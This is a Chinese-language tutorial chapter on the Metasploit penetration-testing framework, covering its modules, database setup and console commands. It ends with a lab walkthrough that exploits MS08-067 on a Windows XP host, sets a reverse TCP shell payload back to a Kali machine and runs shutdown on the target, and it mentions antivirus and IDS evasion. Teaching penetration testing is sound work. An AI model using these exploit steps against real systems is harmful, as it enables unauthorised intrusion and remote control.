Metasploit渗透测试框架基础

本章内容概括∶

  • 1.1 Metasploit简介
  • 1.2 Metasploit 架构介绍
  • 1.3 Metasploit技术功能模块
    1.4 Metasploit基本使用和控制台命令

1.1 Metasploit简介

1.1.1 Metasploit框架

渗透测试者的困扰∶讲课不要说这个好,哪个不好。需要掌握数百个工具软件,上千个命令参数,实在记不住。新出现的漏洞POC/EXP有不同的运行环境要求,准备工作繁琐。大部分时间都在学习不同工具的使用习惯,如果能统一就好了,进而Metasploit就产生了。

PoC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码。

EXP,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作。

Metasploit框架是可以添加漏洞代码片段,就好比一个军火库,它里面有各种武器供我使用,当然也有新的武器被研发出来,放到武器库里面后,我也可以使用,这就是框架的好处,新的攻击代码可以比较容易的加入MSF框架供大家使用。

1.1.2 Metasploit简介

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore 在 2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。

MSF目前是最流行,最强大,最具扩展性的渗透测试平台软件,2003年 H.D.Moore发布第一版,2007年用ruby语言重写了。说句题外话,咱们学过的shodan黑暗搜索引擎H.D.Moore也参与开发了。

访问官网:https://www.metasploit.com/

Metasploit目前是全球最常见的渗透测试框架,位居secTools排行榜第2位。它是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并管理专家驱动的安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,代码审计,Web应用程序扫描,社会工程等。

黑客工具排行榜:https://sectools.org/ .

1.1.3 Metasploit版本

社区版︰集成在kali 系统中,目前基于社区力量维护。早期版本需要先启动数据库再启动MSF,现在已经集成到msf里面了,直接一键启动。(足够我们学习使用了)

Pro版︰这块谈几个企业版的优势:

  • 1、企业版出的检测报告非常强大,给客户汇报起来很方便。
  • 2、AV免杀,社区版的免杀大家都知道了,但是企业级的免杀他们说过可以达到百分之九十甚至百分之百。
  • 3、IDS/IPS绕过(入侵检测系统/入侵防御系统)
  • 4、VPN Pivoting

1.2 Metasploit架构介绍

  1. REX∶基础功能库,用于完成日常基本任务,无需人工手动编码实现,处理socket连接访问,协议应答(http/sSL/SMB等),编码转换(XOR,Base64,Unicode ) .
  2. 技术模块∶5.0之后就增加了个evasion模块,现在一共是7个技术模块。一会给大家详细讲解。
  3. 插件∶插件可以调用外部一些渗透测试工具,例如:load nessus 就可以调用nessus 扫描软件。
  4. 接口:有msfconsole控制终端、msfcli命令行、msfgui图形化界面、armitage图形化界面和msfapi远程调用接口。
  5. 功能程序: metasploit还开发了一些可以直接运行的命令,比如msfpayload、msfencode以及msfvenom。

1.3 Metasploit技术功能模块

1.3.1 MSF技术功能模块分类

模块组织按照不同的用途分为6种类型的模块(Modules):

  • 1、分为辅助模块(Aux)
  • 2、渗透攻击模块(Exploits)
  • 3、后渗透攻击模块(Post)
  • 4、攻击载荷模块(payloads)
  • 5、编码器模块(Encoders)
  • 6、空指令模块(Nops)。

注:payload又称为攻击载荷,主要是用来建立目标机与攻击机稳定连接的,可返回shell,也可以进行程序注入等。

1.3.2 MSF技术模块的功能

技术功能模块(不是流程模块)∶有新的漏洞利用模块要放到这些模块下面进行调用;

1、auxiliary.
负责执行信息收集、扫描、嗅探,指纹识别、口令猜测和Dos攻击等功能的辅助模块。

2、exploits.
利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)。

3、payloads.
成功exploit之后,真正在目标系统执行的代码或指令。
分为3种类型的payload 分别是single, stages和stagers,shellcode是特殊的payload ,用于拿shell。
single : all-in-one。完整的payload,这些payload都是一体化的,不需要依赖外部的库和包。
stagers:目标计算机内存有限时,先传输一个较小的payload用于建立连接
stages:利用stagers建立的连接下载后续payload.

在这里插入图片描述

4、encoders.
对payload进行加密,躲避AntiVirus检查的模块

5、nops:
提高 payload稳定性及维持大小。在渗透攻击构造恶意数据缓冲区时,常常要在真正要执行的Shellcode之前添加一段空指令区,这样当触发渗透攻击后跳转执行ShellCode时,有一个较大的安全着陆区,从而避免受到内存地址随机化、返回地址计算偏差等原因造成的ShellCode执行失败,提高渗透攻击的可靠性。

6、post
后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信息、跳板攻击等操作。

7、evasion
创建木马文件,个人感觉相当于msfvenom的一个子功能的存在。

1.4 Metasploit基本使用和控制台命令

1.4.1启动MSF

启动Metasploit框架需要运行Postgresql 数据库,现在只要运行Metasploit时都会自动启动Postgresql数据库。如果数据库没启动的话,可以手动开启,下面时管理数据库的一些命令。

查看postgresql数据库端口是否有监听

#两种查看端口的方法
root@piloteer101:~# lsof -i :5432
root@piloteer101:~# netstat -pantu |grep 5432

没有结果证明没监听,没监听就是没启动数据库。

手动启动数据库.

root@kali:~# systemctl start postgresql
root@kali:~# systemctl enable postgresql#设置成开机启动数据库

数据库命令

msfdb init   #启动并初始化数据库
msfdb reinit #删除并重新初始化数据库
msfdb delete #删除数据库并停止使用它
msfdb start  #启动数据库
msfdb stop   #停止数据库
msfdb status #检查服务状态.
msfdb run    #启动数据库并运行msfconsole.

Msfconsole接口启动命令:最流行的用户接口,几乎可以使用全部MSF功能,控制台命令支持TAB自动补全,支持外部命令的执行(系统命令等)

启动msfconsole -q / -v参数
-q #安静的开启·
-v #版本信息,其他参数就不做介绍了,大家可以用-h查看

1.4.2更新MSF(尽可能在新版本的kali系统上使用)。

先更新

root@kali:~#apt install metasploit-framework

启动

1.4.3 Metasploit基本使用

-banner:版本信息

每回启动banner得到的banner信息都不一样

-help∶显示msfconsole可以使用的命令。help <command>,显示某一命令的用法。

connect:可以理解成MSF中的nc命令,可以使用connect -h查看详细用法。

msf5 > connect
Usage: connect [options] <host> <port>.
msf5 > connect 192.168.1.1 80
[*]Connected to 192.168.1.1:80
get /

show: 用show命令查看msf提供的资源。在根目录下执行的话,由于有些模块资源比较多,需要执行show命令要较长的时间

show options/payloads/targets/evasion/missing/

search:搜索模块﹔简单搜索∶例: seach ms10-046。

cd /usr/share/metasploit-framework/modules/exploits/windows/browser
ls ms10_046_shortcut_icon_dllloader.rb

多条件搜索缩小范围: search name:mysql type:exploit platform:linux
search name.mysql/ platform:mysql /cve:2015/ path/ type:auxiliary/author:aaron等。

use : search找到模块后,用use使用模块.

use exploit/windows/smb/ms08_067_netapi

用use使用一个模块后,可以使用show options查看我们需要配置的选项、使用show targets选择目标主机系统、使用show payloads选择payload、使用show advanced查看高级参数、使用show evasion查看用来做混淆、逃避的模块。

set/setg:设置参数,比如要渗透的主机IP、payload等。我们可以用show missing查看没有设置的参数;setg是设置全局变量,避免每个模块都要输入相同的参数

unset/unsetg:取消设置参数。unsetg是取消设置的全局变量.

save:设置的参数在下一次启动的时候不会生效,可以用save保存我们使用过程的设置。

/root/.msf4/config        cat到文件进行查看

check:检查目标是否真的存在这个漏洞,大部分模块没有check功能

run/exploit:攻击

jobs/kill:杀死进程

session:建立会话

直接搜某个模块,然后使用模块

利用ms08-067漏洞远程控制
XP——192.168.98.131
利用ms08-067漏洞远程控制131
将playload放在被攻击的主机上执行
结果反弹回kali

search ms08-067
use exploit/windows/smb/ms08_067_netapi

set RHOST 192.168.98.131
show target
set target 34 # 指定语言版本
show playloads
set payload windows/shell/reverse_tcp  # 目标机上回连到kali
set lhost 192.168.98.161 


show options
exploit
show options
exploit # 前台执行,直接进入shell
exploit -j # 后台执行,即使拿到shell,也不进入shell
sessions -i # 交互

shutdown -r
shutdown -a  # 撤销

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

我也不知道为什么要对应set target 34 简体中文